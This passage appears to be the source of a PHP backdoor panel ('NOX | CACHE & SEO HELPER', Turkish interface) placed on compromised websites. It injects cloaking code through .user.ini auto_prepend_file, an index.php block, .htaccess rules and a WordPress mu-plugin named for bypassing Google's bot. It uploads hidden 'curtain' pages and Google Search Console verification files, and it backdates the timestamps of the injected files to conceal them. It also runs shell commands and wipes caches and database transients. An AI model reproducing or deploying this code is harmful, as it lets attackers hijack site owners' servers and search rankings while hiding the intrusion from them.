$body=(string)curl_exec($ch);$httpCode=(int)curl_getinfo($ch,CURLINFO_HTTP_CODE); $finalUrl=curl_getinfo($ch,CURLINFO_EFFECTIVE_URL);$curlErr=curl_error($ch);curl_close($ch); foreach($_px as $_pk){if($_pxb[$_pk]!=='')putenv($_pk.'='.$_pxb[$_pk]);} $files=nox_file_names(nox_detect_cms($DIR)); $htmlPath=nox_content_path($DIR,$files['content']); $htmlContent=file_exists($htmlPath)?(string)@file_get_contents($htmlPath):''; $htmlText=trim(strip_tags($htmlContent));$bodyText=trim(strip_tags($body));$matched=false; if($htmlText!==''&&strlen($htmlText)>=10){$needle=_nox_sub($htmlText,0,120);$matched=(strpos($bodyText,$needle)!==false);} $uiC=file_exists($DIR.'/.user.ini')?(string)@file_get_contents($DIR.'/.user.ini'):''; $idxC=file_exists($DIR.'/index.php')?(string)@file_get_contents($DIR.'/index.php'):''; $v1Active=strpos($uiC,'auto_prepend_file')!==false; $v2Active=strpos($idxC,'NOX-CLOAK-START')!==false; $preview=_nox_sub($body,0,800); if(function_exists('iconv'))$preview=(string)@iconv('UTF-8','UTF-8//IGNORE',$preview); $out=json_encode(['url'=>$url,'final_url'=>$finalUrl,'http_code'=>$httpCode,'curl_error'=>$curlErr, 'matched'=>$matched,'html_empty'=>($htmlContent===''),'user_ini_only'=>($v1Active&&!$v2Active),'preview'=>$preview],JSON_UNESCAPED_UNICODE); if($out===false)$out=json_encode(['url'=>$url,'http_code'=>$httpCode,'matched'=>$matched,'html_empty'=>($htmlContent===''),'curl_error'=>$curlErr,'user_ini_only'=>false,'preview'=>'(kodlanamadı)']); while(ob_get_level()>0)ob_end_clean();header("Content-Type:application/json");echo $out;exit; } // ---- Action: raw ---- if($a==="raw"){ $files=nox_file_names(nox_detect_cms($DIR)); $name=b64url_decode(isset($_GET["b"])?$_GET["b"]:''); if(!safe_name($name)||$name!==$files['content'])die("Forbidden"); $target=nox_content_path($DIR,$name); while(ob_get_level()>0)ob_end_clean(); header("Content-Type:text/plain;charset=utf-8");header("X-Body-Encoding: base64"); header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");header("Pragma: no-cache"); echo base64_encode((string)@file_get_contents($target));exit; } // ---- Action: savehtml ---- if($a==="savehtml"){ $files=nox_file_names(nox_detect_cms($DIR)); $target=nox_content_path($DIR,$files['content']); $d=isset($_POST["d"])?$_POST["d"]:'';$bin=@hex2bin($d); while(ob_get_level()>0)ob_end_clean(); if($bin===false){echo"ERR: bozuk veri";exit;} if(strpos($bin,'0)ob_end_clean();http_response_code(404);echo"Perde dosyası bulunamadı.";exit;} while(ob_get_level()>0)ob_end_clean(); header("Content-Type:text/html;charset=UTF-8"); header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); header("Pragma: no-cache"); @readfile($target);exit; } // ---- Action: writegoogle ---- if($a==="writegoogle"){ $name=b64url_decode(isset($_POST["b"])?$_POST["b"]:(isset($_GET["b"])?$_GET["b"]:'')); while(ob_get_level()>0)ob_end_clean(); if(!safe_name($name)||!is_google_file($name)){echo"Forbidden";exit;} $d=isset($_POST["d"])?$_POST["d"]:'';$bin=@hex2bin($d); if($bin===false){echo"ERR: bozuk veri";exit;} if(!preg_match('/^google-site-verification:\s*[A-Za-z0-9_\-\.]+\s*$/',trim($bin))){echo"ERR: Yalnızca 'google-site-verification: TOKEN' formatı kabul edilir";exit;} $ok=@file_put_contents($DIR.DIRECTORY_SEPARATOR.$name,$bin);echo $ok!==false?'OK':'ERR';exit; } // ---- Action: rmgoogle ---- if($a==="rmgoogle"){ $name=b64url_decode(isset($_GET["b"])?$_GET["b"]:(isset($_POST["b"])?$_POST["b"]:'')); while(ob_get_level()>0)ob_end_clean(); if(!safe_name($name)||!is_google_file($name)){echo"Forbidden";exit;} echo @unlink($DIR.DIRECTORY_SEPARATOR.$name)?'OK':'ERR';exit; } // ---- Action: clearcache ---- if($a==="clearcache"){ @set_time_limit(20);@ignore_user_abort(true); $GLOBALS['_cc_deadline']=microtime(true)+8.0; $res=[];$cms=nox_detect_cms($DIR); // OPcache if(function_exists('opcache_get_status')&&@opcache_get_status()!==false){ $ok=@opcache_reset(); if(function_exists('opcache_invalidate')){ foreach([$DIR.'/index.php',$DIR.'/.user.ini'] as $_oit){if(file_exists($_oit))@opcache_invalidate($_oit,true);} if($cms==='wordpress'){ foreach([$DIR.'/wp-blog-header.php',$DIR.'/wp-content/mu-plugins/nox-google-bot-bypass.php'] as $_oit){if(file_exists($_oit))@opcache_invalidate($_oit,true);} } } $res['opcache']=$ok?['s'=>'ok','m'=>'Sıfırlandı']:['s'=>'err','m'=>'Sıfırlanamadı']; }else{$res['opcache']=['s'=>'na','m'=>'Aktif değil'];} // stat cache + realpath cache @clearstatcache(true); $res['stat_cache']=['s'=>'ok','m'=>'clearstatcache(true) çağrıldı']; // PHP-FPM reload if(function_exists('shell_exec')){ $fp=trim((string)@shell_exec('cat /var/run/php-fpm.pid 2>/dev/null')); if($fp&&ctype_digit($fp)){@shell_exec("kill -USR2 $fp 2>/dev/null");$res['fpm_reload']=['s'=>'ok','m'=>"PID $fp — USR2 gönderildi"];} else{$res['fpm_reload']=['s'=>'na','m'=>'FPM pid bulunamadı'];} }else{$res['fpm_reload']=['s'=>'na','m'=>'shell_exec devre dışı'];} // APC if(function_exists('apc_clear_cache')){@apc_clear_cache();@apc_clear_cache('user');$res['apc']=['s'=>'ok','m'=>'Temizlendi'];} else{$res['apc']=['s'=>'na','m'=>'Yok'];} // Memcache if(class_exists('Memcache')){try{$mc=new Memcache();$mcOk=false; foreach([['127.0.0.1',11211],['localhost',11211]] as $_mcp){$mh=$_mcp[0];$mp=$_mcp[1];if(@$mc->connect($mh,$mp)){$mc->flush();$mc->close();$mcOk=true;break;}} $res['memcache']=$mcOk?['s'=>'ok','m'=>'Temizlendi']:['s'=>'na','m'=>'Bağlantı kurulamadı']; }catch(Exception $ex){$res['memcache']=['s'=>'err','m'=>$ex->getMessage()];}} else{$res['memcache']=['s'=>'na','m'=>'Extension yok'];} // Memcached if(class_exists('Memcached')){try{$mcd=new Memcached();$mcd->addServer('127.0.0.1',11211); $res['memcached']=$mcd->flush()?['s'=>'ok','m'=>'Temizlendi']:['s'=>'na','m'=>'Bağlantı başarısız']; }catch(Exception $ex){$res['memcached']=['s'=>'err','m'=>$ex->getMessage()];}} else{$res['memcached']=['s'=>'na','m'=>'Extension yok'];} // Redis if(class_exists('Redis')){try{$redis=new Redis();$redisOk=false; foreach([6379,6380] as $rp){if(@$redis->connect('127.0.0.1',$rp,2)){$redis->flushDB();$redis->close();$res['redis']=['s'=>'ok','m'=>"Temizlendi (port $rp)"];$redisOk=true;break;}} if(!$redisOk)$res['redis']=['s'=>'na','m'=>'Bağlantı kurulamadı']; }catch(Exception $ex){$res['redis']=['s'=>'err','m'=>$ex->getMessage()];}} else{$res['redis']=['s'=>'na','m'=>'Extension yok'];} // CMS-spesifik disk cache if($cms==='joomla'){ foreach(['joomla_cache'=>[$DIR.'/cache/','Joomla Frontend Cache'],'joomla_admin'=>[$DIR.'/administrator/cache/','Joomla Admin Cache'],'joomla_tmp'=>[$DIR.'/tmp/','Joomla Tmp']] as $k=>$d){ if(is_dir($d[0])){$n=_cc_rmdir($d[0]);$res[$k]=['s'=>'ok','m'=>$d[1].": $n dosya silindi"];}else{$res[$k]=['s'=>'na','m'=>$d[1].': dizin yok'];} } }elseif($cms==='wordpress'){ $_wpDir=nox_find_wp_path($DIR); if(!$_wpDir){$res['wp_path']=['s'=>'warn','m'=>'WP dizini tespit edilemedi'];$_wpDir=$DIR;} else{$res['wp_path']=['s'=>'ok','m'=>'WP dizini: '.$_wpDir];} // WP disk cache dizinleri $wpc=$_wpDir.'/wp-content/cache'; if(is_dir($wpc)){$cn=_cc_rmdir($wpc);$res['wp_cache']=['s'=>'ok','m'=>"$cn dosya silindi"];}else{$res['wp_cache']=['s'=>'na','m'=>'wp-content/cache/ yok'];} foreach(['dir_w3tc'=>[$_wpDir.'/wp-content/w3tc-cache/','W3 Total Cache'],'dir_wprocket'=>[$_wpDir.'/wp-content/wp-rocket-cache/','WP Rocket'], 'dir_litespeed'=>[$_wpDir.'/wp-content/litespeed/','LiteSpeed'],'dir_autoptimize'=>[$_wpDir.'/wp-content/cache/autoptimize/','Autoptimize'], 'dir_endurance'=>[$_wpDir.'/wp-content/endurance-page-cache/','Endurance'],'dir_wpfastest'=>[$_wpDir.'/wp-content/uploads/wp-fastest-cache/','WP Fastest Cache'], 'dir_comet'=>[$_wpDir.'/wp-content/cache/comet-cache/','Comet Cache'],'dir_enabler'=>[$_wpDir.'/wp-content/cache/cache-enabler/','Cache Enabler'], 'dir_supercache'=>[$_wpDir.'/wp-content/cache/supercache/','WP Super Cache'],'dir_sgcache'=>[$_wpDir.'/wp-content/cache/siteground-optimizer-assets/','SG Optimizer']] as $k=>$d){ if(is_dir($d[0])){$pn=_cc_rmdir($d[0]);$res[$k]=['s'=>'ok','m'=>$d[1].": $pn dosya silindi"];}else{$res[$k]=['s'=>'na','m'=>$d[1].': dizin yok'];} } // WP transient + rewrite_rules — doğrudan SQL (wp-load.php yüklenmez) $_wcfgPath=nox_find_wpconfig($_wpDir); if($_wcfgPath){ $_wcfg=nox_parse_wpconfig($_wcfgPath); if(!empty($_wcfg['creds']['DB_NAME'])){ $_wdb=nox_db_connect($_wcfg['creds']); if($_wdb){ $_wpfx=$_wcfg['prefix']; $_wtr=@$_wdb->query("DELETE FROM `{$_wpfx}options` WHERE option_name LIKE '\\_transient\\_%' OR option_name LIKE '\\_site\\_transient\\_%'"); $_wtrDel=$_wtr!==false?$_wdb->affected_rows:0; $_wdb->query("DELETE FROM `{$_wpfx}options` WHERE option_name='rewrite_rules'"); $_wdb->close(); $res['wp_db_cache']=['s'=>'ok','m'=>"$_wtrDel transient + rewrite_rules silindi (SQL)"]; }else{$res['wp_db_cache']=['s'=>'na','m'=>'DB bağlantı kurulamadı'];} } }else{$res['wp_db_cache']=['s'=>'na','m'=>'wp-config.php bulunamadı'];} // WP plugin API'leri — sadece zaten yüklüyse çalışır (wp-load.php yüklenmez) $_wpfn=[]; if(function_exists('wp_cache_flush')){@wp_cache_flush();$_wpfn[]='wp_cache_flush';} if(function_exists('rocket_clean_domain')){@rocket_clean_domain();$_wpfn[]='wp_rocket';} if(function_exists('w3tc_flush_all')){@w3tc_flush_all();$_wpfn[]='w3tc';} if(function_exists('wp_cache_clear_cache')){@wp_cache_clear_cache();$_wpfn[]='wp_super_cache';} if(class_exists('WpFastestCache')){try{$_wpfc=new WpFastestCache();@$_wpfc->deleteCache(true);$_wpfn[]='wp_fastest';}catch(Exception $_e){}} if(class_exists('autoptimizeCache')){try{@autoptimizeCache::clearall();$_wpfn[]='autoptimize';}catch(Exception $_e){}} if(class_exists('Cache_Enabler')){try{@Cache_Enabler::clear_total_cache();$_wpfn[]='cache_enabler';}catch(Exception $_e){}} if(class_exists('comet_cache')){try{@comet_cache::clear();$_wpfn[]='comet';}catch(Exception $_e){}} if(function_exists('sg_cachepress_purge_cache')){@sg_cachepress_purge_cache();$_wpfn[]='sg_optimizer';} if(function_exists('do_action')){ @do_action('litespeed_purge_all');@do_action('litespeed_purge_object');@do_action('wphb_clear_page_cache'); $_wpfn[]='hooks(litespeed+hummingbird)'; } if(!empty($_wpfn))$res['wp_plugin_purge']=['s'=>'ok','m'=>implode(', ',$_wpfn)]; // WP-CLI LiteSpeed (shell_exec mevcutsa) $_wpCli='';foreach(['/usr/local/bin/wp','/usr/bin/wp','/bin/wp'] as $_wp){if(@file_exists($_wp)){$_wpCli=$_wp;break;}} if($_wpCli&&function_exists('shell_exec')){$wcout=trim((string)@shell_exec("cd ".escapeshellarg($_wpDir)." && $_wpCli litespeed-purge all --allow-root 2>&1"));$res['litespeed_wpcli']=['s'=>'ok','m'=>$wcout?:'Çalıştırıldı'];} elseif(!$_wpCli){$res['litespeed_wpcli']=['s'=>'na','m'=>'WP-CLI bulunamadı'];} else{$res['litespeed_wpcli']=['s'=>'na','m'=>'shell_exec devre dışı'];} }elseif($cms==='laravel'){ $_lvRoot=dirname($DIR); $bcDir=$_lvRoot.'/bootstrap/cache'; if(is_dir($bcDir)){$bcCnt=0;foreach((array)@glob($bcDir.'/*.php') as $_bcf){if(@unlink($_bcf))$bcCnt++;}$res['laravel_bootstrap']=['s'=>'ok','m'=>"bootstrap/cache: $bcCnt php silindi"];} else{$res['laravel_bootstrap']=['s'=>'na','m'=>'bootstrap/cache dizini yok'];} $sfData=$_lvRoot.'/storage/framework/cache/data'; if(is_dir($sfData)){$sfCnt=_cc_rmdir($sfData);$res['laravel_storage_cache']=['s'=>'ok','m'=>"storage/framework/cache/data: $sfCnt dosya silindi"];} else{$res['laravel_storage_cache']=['s'=>'na','m'=>'storage/framework/cache/data yok'];} $sfViews=$_lvRoot.'/storage/framework/views'; if(is_dir($sfViews)){$vCnt=0;foreach((array)@glob($sfViews.'/*.php') as $_vf){if(@unlink($_vf))$vCnt++;}$res['laravel_views']=['s'=>'ok','m'=>"compiled views: $vCnt php silindi"];} else{$res['laravel_views']=['s'=>'na','m'=>'storage/framework/views yok'];} $artisan=$_lvRoot.'/artisan'; if(file_exists($artisan)&&function_exists('shell_exec')){$out=trim((string)@shell_exec('cd '.escapeshellarg($_lvRoot).' && php artisan optimize:clear 2>&1'));$res['laravel_artisan']=['s'=>'ok','m'=>$out?:'optimize:clear çalıştırıldı'];} else{$res['laravel_artisan']=['s'=>'na','m'=>'artisan bulunamadı veya shell_exec kapalı'];} }else{ foreach(['generic_cache'=>[$DIR.'/cache/','Cache'],'generic_tmp'=>[$DIR.'/tmp/','Tmp']] as $k=>$d){ if(is_dir($d[0])){$gn=_cc_rmdir($d[0]);$res[$k]=['s'=>'ok','m'=>$d[1].": $gn dosya silindi"];}else{$res[$k]=['s'=>'na','m'=>$d[1].': dizin yok'];} } } // LiteSpeed sunucu seviyesi — plugin olmadan çalışır (Hostinger/shared host'ların çoğu LSWS) $srv=strtolower(isset($_SERVER['SERVER_SOFTWARE'])?$_SERVER['SERVER_SOFTWARE']:''); if(strpos($srv,'litespeed')!==false||strpos($srv,'lsws')!==false){ if(!headers_sent()){ header('X-LiteSpeed-Purge: *',true); $res['litespeed_server']=['s'=>'ok','m'=>'X-LiteSpeed-Purge: * gönderildi (sunucu seviyesi)']; }else{$res['litespeed_server']=['s'=>'na','m'=>'Header zaten gönderilmiş'];} // HTTP PURGE method (LiteSpeed native — LSCWP plugin gerektirmez) if(function_exists('curl_init')){ $pSch=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https':'http'; $pUrl=$pSch.'://'.$_SERVER['HTTP_HOST'].'/'; $pCh=curl_init($pUrl); curl_setopt_array($pCh,[CURLOPT_CUSTOMREQUEST=>'PURGE',CURLOPT_HTTPHEADER=>['X-LiteSpeed-Purge: *'], CURLOPT_RETURNTRANSFER=>true,CURLOPT_HEADER=>true,CURLOPT_NOBODY=>true, CURLOPT_CONNECTTIMEOUT=>3,CURLOPT_TIMEOUT=>5,CURLOPT_SSL_VERIFYPEER=>true,CURLOPT_SSL_VERIFYHOST=>2,CURLOPT_FOLLOWLOCATION=>false]); $pResp=(string)curl_exec($pCh);$pCode=(int)curl_getinfo($pCh,CURLINFO_HTTP_CODE);curl_close($pCh); $purged=($pCode===200&&stripos($pResp,'Purged')!==false); $res['litespeed_http_purge']=['s'=>$purged?'ok':'na','m'=>'HTTP PURGE /: '.$pCode.($purged?' (Purged)':'')]; } }else{$res['litespeed_server']=['s'=>'na','m'=>'LiteSpeed tespit edilmedi'];} // Aruba CDN if(function_exists('curl_init')){ $hh=$_SERVER['HTTP_HOST'];$ch=curl_init('http://127.0.0.1:8889/purge/'); curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>true,CURLOPT_HTTPHEADER=>["Host: $hh"],CURLOPT_TIMEOUT=>3,CURLOPT_CONNECTTIMEOUT=>2]); curl_exec($ch);$code=(int)curl_getinfo($ch,CURLINFO_HTTP_CODE);$cerr=curl_error($ch);curl_close($ch); $res['aruba']=$cerr||$code===0?['s'=>'na','m'=>'Port 8889 yanıt vermedi']:['s'=>'ok','m'=>"Purge (HTTP $code)"]; }else{$res['aruba']=['s'=>'na','m'=>'cURL yok'];} // Varnish — sadece port 6081 (native Varnish portu); 80'e PURGE atmak canlı siteyi etkiler $vDone=false;if(function_exists('curl_init')){$hh=$_SERVER['HTTP_HOST']; foreach([6081] as $vp){$ch=curl_init("http://127.0.0.1:$vp/"); curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>true,CURLOPT_CUSTOMREQUEST=>'PURGE',CURLOPT_HTTPHEADER=>["Host: $hh","X-Purge-Method: default"],CURLOPT_TIMEOUT=>2,CURLOPT_CONNECTTIMEOUT=>2]); curl_exec($ch);$code=(int)curl_getinfo($ch,CURLINFO_HTTP_CODE);$cerr=curl_error($ch);curl_close($ch); if(!$cerr&&$code>0){$res['varnish']=['s'=>'ok','m'=>"PURGE port $vp → HTTP $code"];$vDone=true;break;} } if(!$vDone)$res['varnish']=['s'=>'na','m'=>'Varnish tespit edilmedi']; }else{$res['varnish']=['s'=>'na','m'=>'cURL yok'];} // Nginx FastCGI Cache $nxF=false; foreach(['/var/cache/nginx/','/tmp/nginx-cache/','/dev/shm/nginx-cache/',$DIR.'/.nginx-cache/'] as $nd){ if(is_dir($nd)&&is_writable($nd)){$nn=_cc_rmdir($nd);$res['nginx_cache']=['s'=>'ok','m'=>"Nginx cache: $nn dosya ($nd)"];$nxF=true;break;} } if(!$nxF)$res['nginx_cache']=['s'=>'na','m'=>'Nginx cache dizini yok']; // Managed host (WP Engine / Kinsta / Pantheon / Cloudways) — PHP API varsa sessizce temizle $mhPurged=[]; if(class_exists('WpeCommon')){ try{if(method_exists('WpeCommon','purge_varnish_cache'))@WpeCommon::purge_varnish_cache();}catch(Exception $_e){} try{if(method_exists('WpeCommon','purge_memcached'))@WpeCommon::purge_memcached();}catch(Exception $_e){} $mhPurged[]='WP Engine'; } if(class_exists('Kinsta\\Cache')&&method_exists('Kinsta\\Cache','purge_complete_caches')){ try{$_ki=new Kinsta\Cache();@$_ki->purge_complete_caches();}catch(Exception $_e){} $mhPurged[]='Kinsta'; } if(function_exists('do_action'))@do_action('kinsta_cache_purge_all'); if(function_exists('pantheon_clear_edge_all')){try{@pantheon_clear_edge_all();}catch(Exception $_e){} $mhPurged[]='Pantheon';} if(function_exists('do_action')){@do_action('breeze_clear_all_cache');if(defined('BREEZE_VERSION'))$mhPurged[]='Cloudways';} $res['managed_host']=empty($mhPurged)?['s'=>'na','m'=>'Managed host tespit edilmedi']:['s'=>'ok','m'=>implode(', ',$mhPurged).' temizlendi']; // .htaccess tarama if(file_exists($DIR.'/.htaccess')){ $ht=(string)@file_get_contents($DIR.'/.htaccess');$warns=[]; if(preg_match('/ExpiresActive\s+On|ExpiresByType/i',$ht))$warns[]='mod_expires'; if(preg_match('/W3TC|W3 Total Cache/i',$ht))$warns[]='W3TC'; if(preg_match('/LiteSpeed/i',$ht))$warns[]='LiteSpeed'; if(preg_match('/max-age\s*=\s*[1-9][0-9]{2,}/i',$ht))$warns[]='max-age'; $res['htaccess']=$warns?['s'=>'warn','m'=>'Dikkat: '.implode(', ',$warns).' tespit edildi']:['s'=>'ok','m'=>'Sorunlu kural yok']; }else{$res['htaccess']=['s'=>'na','m'=>'.htaccess yok'];} // Warmup if(function_exists('curl_init')){ $wSch=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https':'http'; $wUrl=$wSch.'://'.$_SERVER['HTTP_HOST'].'/'; foreach(['warmup_desktop'=>'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36', 'warmup_mobile'=>'Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X) AppleWebKit/537.36 Chrome/120.0.0.0 Mobile Safari/537.36'] as $wk=>$wua){ $wch=curl_init(); curl_setopt_array($wch,[CURLOPT_URL=>$wUrl,CURLOPT_RETURNTRANSFER=>true,CURLOPT_USERAGENT=>$wua,CURLOPT_TIMEOUT=>10,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_MAXREDIRS=>3,CURLOPT_SSL_VERIFYPEER=>true,CURLOPT_SSL_VERIFYHOST=>2,CURLOPT_HTTPHEADER=>['Accept: text/html,*/*','Accept-Language: tr-TR,tr;q=0.9,en;q=0.8']]); curl_exec($wch);$wc=(int)curl_getinfo($wch,CURLINFO_HTTP_CODE);$we=curl_error($wch);curl_close($wch); $res[$wk]=$we?['s'=>'err','m'=>'Warmup hatası: '.$we]:['s'=>'ok','m'=>"HTTP $wc → $wUrl"]; } }else{$res['warmup_desktop']=['s'=>'na','m'=>'cURL yok'];$res['warmup_mobile']=['s'=>'na','m'=>'cURL yok'];} while(ob_get_level()>0)ob_end_clean(); $out=json_encode($res,JSON_UNESCAPED_UNICODE); if($out===false){array_walk_recursive($res,function(&$v){if(is_string($v))$v=function_exists('iconv')?(string)@iconv('UTF-8','UTF-8//IGNORE',$v):substr($v,0,500);});$out=json_encode($res,JSON_UNESCAPED_UNICODE);if($out===false)$out='{"fatal":"json_encode_fail"}';} header("Content-Type:application/json");echo $out;exit; } // ---- Action: fixtimestamp ---- if($a==="fixtimestamp"){ $cms=nox_detect_cms($DIR);$files=nox_file_names($cms); $prependPath=$DIR.'/'.$files['prepend']; $contentPath=nox_content_path($DIR,$files['content']); $targets=['index.php'=>$DIR.'/index.php','prepend'=>$prependPath,'content'=>$contentPath]; $skip=[basename(__FILE__),$files['prepend']]; $refMt=ref_mtime($DIR,array_merge($skip,['index.php']));$res=[]; if(!$refMt){$res['ref']=['s'=>'warn','m'=>'Referans dosya bulunamadı'];header("Content-Type:application/json");echo json_encode($res,JSON_UNESCAPED_UNICODE);exit;} $res['ref']=['s'=>'ok','m'=>'Referans: '.date('d.m.Y H:i',$refMt)]; foreach($targets as $label=>$fp){ if(!file_exists($fp)){$res[$label]=['s'=>'na','m'=>'Dosya yok'];continue;} $old=@filemtime($fp);$ok=@touch($fp,$refMt); $res[$label]=['s'=>$ok?'ok':'err','m'=>date('d.m.Y H:i',$old).' → '.date('d.m.Y H:i',$refMt)]; } header("Content-Type:application/json");echo json_encode($res,JSON_UNESCAPED_UNICODE);exit; } if($a==="info"){echo"
PHP ".PHP_VERSION."\n".php_uname()."\nSAPI: ".php_sapi_name()."\nCMS: ".nox_cms_label(nox_detect_cms($DIR))."
";exit;} // ---- Durum Sayfası ---- $cms=nox_detect_cms($DIR);$sapi=nox_detect_sapi();$files=nox_file_names($cms); $prependPath=$DIR.'/'.$files['prepend'];$contentPath=nox_content_path($DIR,$files['content']); $prependExists=file_exists($prependPath);$contentExists=file_exists($contentPath); $idxPath=$DIR.'/index.php';$uiPath=$DIR.'/.user.ini';$htPath=$DIR.'/.htaccess'; $uiC=file_exists($uiPath)?(string)@file_get_contents($uiPath):''; $idxC=file_exists($idxPath)?(string)@file_get_contents($idxPath):''; $htC=file_exists($htPath)?(string)@file_get_contents($htPath):''; $v1=strpos($uiC,'auto_prepend_file')!==false; $v2=strpos($idxC,'NOX-CLOAK-START')!==false; $v3=(bool)preg_match('/NOX-HT-START/',$htC); $htAvail=($sapi==='mod_php'||$sapi==='litespeed'); $googleFiles=list_google_files($DIR); $pk='p='.rawurlencode($_np); $prependSz=$prependExists?number_format(@filesize($prependPath)):'—'; $contentSz=$contentExists?number_format(@filesize($contentPath)):'—'; $idxSz=file_exists($idxPath)?number_format(@filesize($idxPath)):'—'; header('Content-Type: text/html; charset=utf-8'); ?> <?=htmlspecialchars($_SERVER['HTTP_HOST'])?>

NOX | CACHE & SEO HELPER

● Kontrol ediliyor...
| PHP  |   |  PHP Info

Durum

Perdeyi görüntüle
index.php

Enjeksiyon Vektörleri
V1: user.ini — FPM/CGI/LiteSpeed
V2: index.php — Evrensel PHP bloğu
V3: .htaccess
bayt GOOGLE Sil

Cloak İşlemleri

⚠ user.ini vektörü eklendi. PHP-FPM cache nedeniyle ~5 dakika içinde aktif olur. index.php vektörü anında çalışır.

Perde İçeriği

Hedef:

Google Search Console Doğrulama

Sadece Google'ın verdiği google….html dosyasını yükleyin. Dosya adı google ile başlamalı, .html ile bitmeli ve yalnızca harf/rakam içermelidir. İçerik yalnızca google-site-verification: TOKEN satırı olmalıdır.
Dosya adı (ör. google085517675749d6fe.html):
Dosya içeriği: